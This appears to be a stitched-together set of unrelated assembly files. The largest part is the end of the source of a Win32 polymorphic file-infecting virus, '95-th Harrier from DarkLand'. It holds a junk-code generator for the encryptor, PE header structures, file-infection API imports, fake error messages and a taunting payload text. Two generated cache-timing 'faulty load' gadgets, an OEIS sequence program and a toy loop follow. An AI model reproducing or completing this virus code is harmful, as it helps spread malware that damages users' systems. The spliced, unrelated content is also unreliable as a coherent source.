Je GenNoFlag_1_1$
StosB
Ret
GenNoFlag_2$: Dec EAx
Jnz GenNoFlag_3$ ; ">2"
Mov Ax,0E3h ; JECxZ $+2
StosW
Ret
GenNoFlag_3$: Dec EAx
Jnz GenNoFlag_4$ ; ">3"
Mov Al,2h ; Xchg Reg,Reg
Call Random
Or Al,86h
StosB
Call GetEqRegs
StosB
Ret
GenNoFlag_4$: Dec EAx
Jnz GenNoFlag_5$ ; ">4"
Mov Al,4h ; Mov Reg,Reg
Call Random
Or Al,88h
StosB
Call GetEqRegs
StosB
Ret
GenNoFlag_5$: Dec EAx
Jnz GenNoFlag_6$ ; ">5"
Call GetNoESpReg ; Push Reg / Pop Reg
Or Al,50h
StosB
Push EAx ; Some seria of commands
Push ECx
Mov EAx,5h ; How many. . .
Call Random
Mov ECx,EAx
Or ECx,ECx
Jz GenNoFlag_5_1$
GenNoFlag_5_2$: Call GenNoFlagCom
Dec ECx
Jnz GenNoFlag_5_2$
GenNoFlag_5_1$: Pop ECx
Pop EAx
Or Al,8h
StosB
Ret
GenNoFlag_6$: Dec EAx
Jnz GenNoFlag_7$ ; ">6"
Mov Al,10h ; Jcc $+2
Call Random
Or Al,70h
StosB
Xor Al,Al
StosB
Ret
GenNoFlag_7$: Dec EAx
Jnz GenNoFlag_8$ ; ">7"
Mov Al,0EBh ; Jmps $+?
StosB
Mov Al,20h ; Jmp distance. . .
Call Random
StosB
Push ECx
Mov ECx,EAx
Or ECx,ECx
Jz GenNoFlag_7_1$
GenNoFlag_7_2$: Mov EAx,100h
Call Random
StosB
Dec ECx
Jnz GenNoFlag_7_2$
GenNoFlag_7_1$: Pop ECx
Ret
GenNoFlag_8$: Dec EAx
Jnz GenNoFlag_9$ ; ">8"
Mov Al,60h ; PushA / PopA
StosB
Push ECx ; Some seria of commands
Mov EAx,5h ; How many. . .
Call Random
Mov ECx,EAx
Or ECx,ECx
Jz GenNoFlag_8_1$
GenNoFlag_8_2$: Call GenNoFlagCom
Dec ECx
Jnz GenNoFlag_8_2$
GenNoFlag_8_1$: Pop ECx
Mov Al,61h
StosB
Ret
GenNoFlag_9$: Mov Al,9Ch ; PushF / PopF
StosB
Push ECx ; Some seria of commands
Mov EAx,5h ; How many. . .
Call Random
Mov ECx,EAx
Or ECx,ECx
Jz GenNoFlag_9_1$
GenNoFlag_9_2$: Call GenNoFlagCom
Dec ECx
Jnz GenNoFlag_9_2$
GenNoFlag_9_1$: Pop ECx
Mov Al,9Dh
StosB
Ret
; ---------------------------------------------------------
GetNoEqRegs0: Call GetNoESpReg ; Get Registers Mod R/M
Push EBx ; byte with any NoEq
Mov Bl,Al ; registers inside
Call GetNoESpReg ; this pack (without ESp)
Shl Al,3h
Or Al,Bl
Or Al,0C0h
Pop EBx
Ret
GetNoEqRegs: Call GetReg ; Get Registers Mod R/M
Push EBx ; byte with any NoEq
Mov Bl,Al ; registers inside
Call GetReg ; this pack
Shl Al,3h
Or Al,Bl
Or Al,0C0h
Pop EBx
Ret
GetEqRegs: Call GetReg ; Get Registers Mod R/M
Mov Ah,Al ; byte with any Eq registers
Shl Al,3h ; inside this pack
Or Al,Ah
Or Al,0C0h
Ret
GetNoESpReg: Call GetReg ; Get register number
Cmp Al,4h ; but without ESP
Je GetNoESPReg
Ret
GetReg: Mov EAx,8h ; Get register number
Call Random
Ret
; ---------------------------------------------------------
Enumer: Push EAx ; Enumerates the some
Push ECx ; procedure in EBx
Mov EAx,ECx ; ECx times with
Call Random ; parameters in EAx
Or ECx,ECx
Jz Enumer_0$
Enumer_1$: Mov EAx,[ESp][4]
Call EBx
Dec ECx
Jnz Enumer_1$
Enumer_0$: Pop ECx
Pop EAx
Ret
; ---------------------------------------------------------
StoreByte: Cmp Byte Ptr pEnableEncr,0h ; Stores the Byte data
Je StoreByte_0$ ; into encryptor buffer
Mov [ESi],Al
Inc ESi
StoreByte_0$: Ret
StoreWord: Cmp Byte Ptr pEnableEncr,0h ; Stores the Word data
Je StoreWord_0$ ; into encryptor buffer
Mov [ESi],Ax
Add ESi,2h
StoreWord_0$: Ret
StoreDWord: Cmp Byte Ptr pEnableEncr,0h ; Stores the DWord data
Je StoreDWord_0$ ; into encryptor buffer
Mov [ESi],EAx
Add ESi,4h
StoreDWord_0$: Ret
; ---------------------------------------------------------
Random: Push EDx ; Generate some random number
Push ECx ; to EAx by border in EAx
Push EAx ; (0..Border-1)
Mov EAx,RandSeed ; Don't corrupt registers
Mov ECx,8088405h ; [from TurboPascal v7.0]
Mul ECx ; (Based on Congruent
Inc EAx ; generating algorythm)
Mov RandSeed,EAx
Pop ECx
Mul ECx
Pop ECx
Mov EAx,EDx
Pop EDx
Ret
;Separator=_Nop
; ---------------------------------------------------------
; Data for convertor
;DefCodeLine
ConvertDataLen = 4h
ConvertData Label DWord
Dd Offset SearchStr1
Dd Offset ReplaceStr1
Dd Offset SearchStr2
Dd Offset ReplaceStr2
Dd Offset SearchStr3
Dd Offset ReplaceStr3
Dd Offset SearchStr4
Dd Offset ReplaceStr4
;BreakCodeLine
SearchStr1 Db 'MICROSOFT',0
SearchStr2 Db 'WINDOWS',0
SearchStr3 Db 'BILL GATES',0
SearchStr4 Db 'HARRIER',0
ReplaceStr1 Db 'MIcrOSOFT',0
ReplaceStr2 Db 'WINDOwS',0
ReplaceStr3 Db 'Gill Bates',0
ReplaceStr4 Db 'Oh! Guys! Is it about me?',0
; ---------------------------------------------------------
;DefCodeLine
InfoName Db 'OEMINFO.INI',0h
InfoNameL = $-InfoName
;BreakCodeLine
;DefCodeLine
BitMapName Db 'OEMLOGO.BMP',0h
BitMapNameL = $-BitMapName
;BreakCodeLine
SelfSectionName Db '.TEXT',0,0,0
InfSelfHeader Db '"95-th Harrier from DarkLand"',0
InfEnterDebug Db 'Entering to DEBUG mode.',0
InfCancelMsg Db 'Infecting aborted by Creator!',0
InfNoNameMsg Db 'Name not specified.',0
;DefCodeLine
HelloMsg Label Byte
Db 'Oops, World, it is Me!',Cr
Db 'Can You image it? I am the Win32 platform based virus!',Cr
Db 'Hey, Daniloff! Will You porte Your DrWeb at this platform?',Cr
Db 'Hmm, Guy, what You think about Watcom C++ ?',Cr
Db Cr
Db 'Greetings goes to Gill Bates and to her Mircosoft Windoze 95 sucks,',Cr
Db ' and to rest lame part of world.',Cr
Db Cr
Db 'Ugly Lamers MUST DIE!',Cr
Db Cr
Db 'Who am I ? I am the "95-th Harrier from DarkLand" !!!',Cr
Db 'I come from dark, I invade Your PC and now I will invade Your mind. . .',Cr
Db Cr
Db ' TechnoRat',Cr
Db Cr
Db Ver,Release,BasedOn,Cr
Db 0
;BreakCodeLine
InfGodHelp Db 'God will help! ;-)',0
; ---------------------------------------------------------
;DefCodeLine
FuckMsgCounter = 6h
FuckMessages Label DWord
Dd FuckMsg1,FuckMsg2,FuckMsg3,FuckMsg4,FuckMsg5,FuckMsg6
;BreakCodeLine
FuckMsg1 Db 'System malfunction!',0
FuckMsg2 Db 'VXDs rings overcrossed!',0
FuckMsg3 Db 'CPU mode thunking error!',0
FuckMsg4 Db 'CPU overclocked, cooler device emergency!',0
FuckMsg5 Db 'Help subsystem is damaged!',0
FuckMsg6 Db 'Attention! Bugs inside computer, use SoftIce.',0
; ---------------------------------------------------------
; Here will be placed the very nice files. . .
BFile BitMapFile,HarrLogo.Bmp,HarrBtMpFile_Sz
BFile InfoFile,HarrInfo.Ini,HarrInfoFile_Sz
MemBase Dd ? ; Program base in memory
HostIP Dd ? ; for returning to host
Here Dd ? ; self place in RAM
Debug Dd 0h ; debugging flag
HelpCounter Dd 0h ; for FuckingHelp ;-)
InitOk Dd 1h ; Initialize semaphore:
; 0 - process performing
; 1 - must be initialized
; 2 - initialized Ok.
; ---------------------------------------------------------
; Real copyright by creator.
;DefCodeLine
Irpc Char,<(C)reated by TechnoRat (hacker)>
Db '&Char' Xor 0FFh
EndM
;BreakCodeLine
; ---------------------------------------------------------
RandSeed Dd ?
StubEntryLabel Dd ?
ImagePlace Dd ?
CurrentPlace Dd ?
PolyMorphSz Dd 0h ; The size of decriptors
StubImportPlace Dd ?
ImportPlace Dd ?
ImportLength Dd ?
BufferPlace Dd ?
; ---------------------------------------------------------
; The Virtual stack variables
Var DosHeader ,40h ; Dos Header place
Var FileHandle ,DWord ; Generic file variables
Var FileAttributes ,DWord
Var FileNamePtr ,DWord
Var FileLastWrite ,8h ; Generic file Date/Time
Var FileLastAccess ,8h
Var FileCreation ,8h
Var ProcessedBytes ,DWord
Var NewSeconds ,Word
Var PackedTime ,8h
Var SomePath ,MaxPathLen
Var PEFileHeaders ,DWord
Var ImportLegal ,DWord ; Import section parameters
Var ImportPhysOffs ,DWord
Var ImportRVA ,DWord
Var ImportFlags ,DWord
Var ImportOrder ,DWord
;DefCodeLine
Var FT_Struc ,0h ; System Time description
Var FT_Year ,Word
Var FT_Month ,Word
Var FT_DayOfWeek ,Word
Var FT_Day ,Word
Var FT_Hour ,Word
Var FT_Minute ,Word
Var FT_Second ,Word
Var FT_Milliseconds ,Word
;BreakCodeLine
Var pBaseReg ,Byte ; PolyMorph gen. vars
Var pSemReg ,Byte
Var pEnableEncr ,Byte
Var pBase ,DWord
Var pSem ,DWord
Var pXchg ,DWord
Var pMov ,DWord
Var pBaseAdd ,DWord
Var pBaseSub ,DWord
Var pAgain ,DWord
Var pAgain_E ,DWord
Var pAdd ,DWord
Var GenSz ,DWord ; PolyMorph link vars
Var GenCrSz ,DWord
Var GenTotalSz ,DWord
Var Cryptors ,2*4*16
Var CryptCnt ,DWord
;DefCodeLine
Var Section ,0h
SectBegin = _VarAddr ; Section header description
Var SectName ,8h
Var SectVirtSize ,DWord
Var SectRVA ,DWord
Var SectPhysSize ,DWord
Var SectPhysOffs ,DWord
Var SectR ,3*4h
Var SectFlags ,DWord
SectSize = _VarAddr-SectBegin
;BreakCodeLine
;DefCodeLine
Var SelfSection ,0h
SelfSectBegin = _VarAddr ; Self section description
Var SelfSectName ,8h
Var SelfSectVirtSize,DWord
Var SelfSectRVA ,DWord
Var SelfSectPhysSize,DWord
Var SelfSectPhysOffs,DWord
Var SelfSectR ,3*4h
Var SelfSectFlags ,DWord
SelfSectSize = _VarAddr-SelfSectBegin
;BreakCodeLine
;DefCodeLine
Var PEHeader ,0h
PEHeaderBegin = _VarAddr ; PE Header description
Var PE_Sign ,DWord
Var PE_CPUType ,Word
Var PE_NumOfSections,Word
Var PE_TimeDate ,DWord
Var PE_PtrToCOFFTbl ,DWord
Var PE_COFFTblSize ,DWord
Var PE_NTHdrSize ,Word
Var PE_Flags ,Word
Var PE_Magic ,Word
Var PE_LMajor ,Byte
Var PE_LMinor ,Byte
Var PE_SizeOfCode ,DWord
Var PE_SizeOfIData ,DWord
Var PE_SizeOfUIData ,DWord
Var PE_EntryPointRVA,DWord
Var PE_BaseOfCode ,DWord
Var PE_BaseOfData ,DWord
Var PE_ImageBase ,DWord
Var PE_ObjectAlign ,DWord
Var PE_FileAlign ,DWord
Var PE_OsMajor ,Word
Var PE_OsMinor ,Word
Var PE_UserMajor ,Word
Var PE_UserMinor ,Word
Var PE_SubSysMajor ,Word
Var PE_SubSysMinor ,Word
Var PE_R1 ,DWord
Var PE_ImageSize ,DWord
Var PE_HeaderSize ,DWord
Var PE_FileChkSum ,DWord
Var PE_SubSystem ,Word
Var PE_DllFlags ,Word
Var PE_StackReserveSz,DWord
Var PE_StackCommitSz,DWord
Var PE_HeapReserveSz,DWord
Var PE_HeapCommitSz ,DWord
Var PE_LoaderFlags ,DWord
Var PE_NumOfRVAAndSz,DWord
Var PE_ExportTableRVA,DWord
Var PE_ExportDataSz ,DWord
Var PE_ImportTableRVA,DWord
Var PE_ImportDataSz ,DWord
Var PE_RsrcTableRVA ,DWord
Var PE_RsrcDataSz ,DWord
Var PE_ExceptTableRVA,DWord
Var PE_ExceptDataSz ,DWord
Var PE_SecurTableRVA,DWord
Var PE_SecurDataSz ,DWord
Var PE_FixUpTableRVA,DWord
Var PE_FixUpDataSz ,DWord
Var PE_DebugTableRVA,DWord
Var PE_DebugDataSz ,DWord
Var PE_ImageDescrRVA,DWord
Var PE_DescriptionSz,DWord
Var PE_MachineSpecRVA,DWord
Var PE_MachineSpecSz,DWord
Var PE_TLSRVA ,DWord
Var PE_TLSSz ,DWord
Var PE_R0 ,30h
PEHeaderSize = _VarAddr-PEHeaderBegin
If PEHeaderSize NE 0F8h
.Err 'PEHeader described incorrectly!'
EndIf
;BreakCodeLine
;StopCode
Var VeryLargeBuffer ,0h ; Rest of memory ;-)
; ---------------------------------------------------------
_VarAddr = 0h
Var ConvertVar ,4*4 ; Tiny Stack variables
Var SmallBuffer ,0h ; (memory buffer)
; ---------------------------------------------------------
;StartData
Extern MessageBoxA:Proc ; External functions
Extern CreateFileA:Proc ; which imported
Extern SetFilePointer:Proc ; form some system
Extern CloseHandle:Proc ; DLL's (providers
Extern ReadFile:Proc ; of this functions)
Extern WriteFile:Proc
Extern SetFilePointer:Proc
Extern GetFileAttributesA:Proc
Extern SetFileAttributesA:Proc
Extern GetFileTime:Proc
Extern SetFileTime:Proc
Extern CopyFileA:Proc
Extern MoveFileA:Proc
Extern GetEnvironmentStringsA:Proc
Extern MessageBeep:Proc
Extern FileTimeToSystemTime:Proc
Extern SystemTimeToFileTime:Proc
Extern GetSystemTime:Proc
Extern GetSystemDirectoryA:Proc
;StopData
; ---------------------------------------------------------
End Start
; *==================================================================*
; ! T I M E T O D I E !
; *==================================================================*
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %r9
push %rbp
push %rcx
lea addresses_normal_ht+0x16722, %r11
clflush (%r11)
nop
nop
mfence
mov (%r11), %r9d
dec %rcx
lea addresses_A_ht+0x16af5, %rbp
dec %r12
movb (%rbp), %r10b
nop
nop
nop
nop
nop
and $6060, %r9
lea addresses_WT_ht+0x3da2, %r9
nop
nop
nop
sub %r15, %r15
movl $0x61626364, (%r9)
nop
nop
add %rcx, %rcx
lea addresses_WC_ht+0x1bda2, %r9
nop
nop
nop
add $10407, %r10
movups (%r9), %xmm1
vpextrq $1, %xmm1, %r15
nop
nop
nop
inc %rbp
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r15
push %r8
push %rbx
push %rcx
// Store
lea addresses_PSE+0xaaa2, %rcx
nop
nop
nop
nop
xor %r12, %r12
movl $0x51525354, (%rcx)
nop
nop
nop
mfence
// Load
lea addresses_A+0x177a2, %r8
nop
sub %r12, %r12
movups (%r8), %xmm7
vpextrq $0, %xmm7, %r11
nop
nop
nop
nop
add $64448, %r8
// Faulty Load
lea addresses_WT+0x5a2, %r12
nop
dec %r10
mov (%r12), %r15d
lea oracles, %r12
and $0xff, %r15
shlq $12, %r15
mov (%r12,%r15,1), %r15
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': True}}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
; A104538: Expansion of (1 + 2*x) / (1 + 2*x + 4*x^2).
; 1,0,-4,8,0,-32,64,0,-256,512,0,-2048,4096,0,-16384,32768,0,-131072,262144,0,-1048576,2097152,0,-8388608,16777216,0,-67108864,134217728,0,-536870912,1073741824,0,-4294967296,8589934592,0,-34359738368,68719476736,0,-274877906944,549755813888,0,-2199023255552,4398046511104,0,-17592186044416,35184372088832,0,-140737488355328,281474976710656,0,-1125899906842624,2251799813685248,0,-9007199254740992,18014398509481984,0,-72057594037927936,144115188075855872,0,-576460752303423488,1152921504606846976,0,-4611686018427387904,9223372036854775808,0,-36893488147419103232,73786976294838206464,0,-295147905179352825856,590295810358705651712,0,-2361183241434822606848,4722366482869645213696,0,-18889465931478580854784,37778931862957161709568,0,-151115727451828646838272,302231454903657293676544,0,-1208925819614629174706176,2417851639229258349412352,0,-9671406556917033397649408,19342813113834066795298816,0,-77371252455336267181195264,154742504910672534362390528,0,-618970019642690137449562112,1237940039285380274899124224,0,-4951760157141521099596496896,9903520314283042199192993792,0,-39614081257132168796771975168,79228162514264337593543950336,0,-316912650057057350374175801344,633825300114114700748351602688
add $0,1
mov $2,$0
mov $3,1
lpb $0
sub $0,1
cmp $4,0
add $1,$4
div $2,$1
mul $2,$3
mov $1,$2
sub $2,1
mul $3,2
cmp $4,0
lpe
mov $0,$1
|
; This program calculates a power of 2 by building a simple loop using jumps,
; comparisons and increments
global asm_func
section .text
asm_func:
mov rdx, 8 ; this is our exponent
mov rax, 2 ; this is the base
mov rcx, 1 ; our counter
loop:
add rax, rax ; doubles RAX
inc rcx ; increments our counter
cmp rcx, rdx ; did we do this enough times?
jl loop ; if not, jump back to loop
ret ; and return... return value is in RAX (should be 2^8)
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xd67b, %rax
nop
nop
nop
xor %r13, %r13
mov $0x6162636465666768, %rbx
movq %rbx, (%rax)
nop
nop
nop
nop
cmp $49270, %r13
lea addresses_D_ht+0x2cdb, %rax
nop
nop
nop
nop
nop
xor $28599, %rdx
mov $0x6162636465666768, %r13
movq %r13, %xmm6
movups %xmm6, (%rax)
nop
nop
dec %r11
lea addresses_UC_ht+0x79e0, %r11
nop
add %r8, %r8
and $0xffffffffffffffc0, %r11
vmovntdqa (%r11), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %rdx
nop
nop
sub %r11, %r11
lea addresses_D_ht+0x3289, %rsi
lea addresses_UC_ht+0x72db, %rdi
nop
nop
nop
cmp $38679, %rax
mov $53, %rcx
rep movsw
nop
dec %r8
lea addresses_D_ht+0x119fb, %rsi
cmp %rcx, %rcx
and $0xffffffffffffffc0, %rsi
vmovaps (%rsi), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %rdx
nop
nop
dec %rdi
lea addresses_A_ht+0x1ef9b, %r8
nop
nop
sub %r11, %r11
mov (%r8), %rax
nop
nop
nop
nop
and $47184, %r11
lea addresses_A_ht+0x62db, %rdx
nop
sub $61502, %rcx
mov $0x6162636465666768, %rax
movq %rax, (%rdx)
nop
nop
nop
nop
sub %rbx, %rbx
lea addresses_WC_ht+0x1a3e4, %rcx
nop
nop
nop
nop
add $58868, %r13
movw $0x6162, (%rcx)
inc %rax
lea addresses_UC_ht+0x6b5b, %rdx
nop
nop
nop
nop
add %r11, %r11
movb (%rdx), %al
nop
nop
and %rdx, %rdx
lea addresses_D_ht+0x1e8db, %rax
nop
nop
nop
nop
and %rsi, %rsi
and $0xffffffffffffffc0, %rax
vmovntdqa (%rax), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rbx
cmp $49105, %rbx
lea addresses_WC_ht+0x4d29, %rsi
lea addresses_normal_ht+0x1807b, %rdi
nop
nop
nop
inc %rbx
mov $123, %rcx
rep movsb
nop
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_A_ht+0x3db, %r11
nop
and $30219, %rdi
vmovups (%r11), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rsi
nop
nop
nop
nop
sub $40559, %rcx
lea addresses_A_ht+0x175d3, %rdx
nop
nop
nop
nop
nop
add %r8, %r8
mov (%rdx), %r13w
nop
nop
sub %r13, %r13
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r8
push %rax
push %rbx
push %rcx
// Store
lea addresses_D+0x119db, %r15
nop
and %r11, %r11
mov $0x5152535455565758, %rcx
movq %rcx, %xmm3
vmovups %ymm3, (%r15)
nop
nop
nop
nop
nop
and %r11, %r11
// Store
lea addresses_D+0x34f, %rax
nop
nop
nop
cmp %r12, %r12
movw $0x5152, (%rax)
nop
nop
nop
nop
nop
sub $62328, %r15
// Store
lea addresses_WC+0x156db, %r12
add %rax, %rax
mov $0x5152535455565758, %r11
movq %r11, %xmm1
movups %xmm1, (%r12)
add %r8, %r8
// Store
lea addresses_normal+0x1edc3, %r12
nop
nop
nop
inc %r11
mov $0x5152535455565758, %r8
movq %r8, (%r12)
nop
nop
nop
nop
nop
sub $15890, %rcx
// Load
mov $0x19f, %rax
mfence
mov (%rax), %ebx
nop
inc %r15
// Load
lea addresses_WT+0xadb, %rcx
nop
nop
sub $49424, %r11
mov (%rcx), %r15d
nop
nop
nop
nop
add %r15, %r15
// Faulty Load
lea addresses_RW+0xa6db, %rbx
nop
nop
sub %rcx, %rcx
mov (%rbx), %r11d
lea oracles, %r15
and $0xff, %r11
shlq $12, %r11
mov (%r15,%r11,1), %r11
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_RW', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D', 'congruent': 7}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D', 'congruent': 2}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 1}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_P', 'congruent': 2}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT', 'congruent': 10}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_RW', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 7}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 0}}
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 1, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 3}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 6}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 0}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 9}}
{'dst': {'same': True, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 0, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 3}}
{'32': 21829}
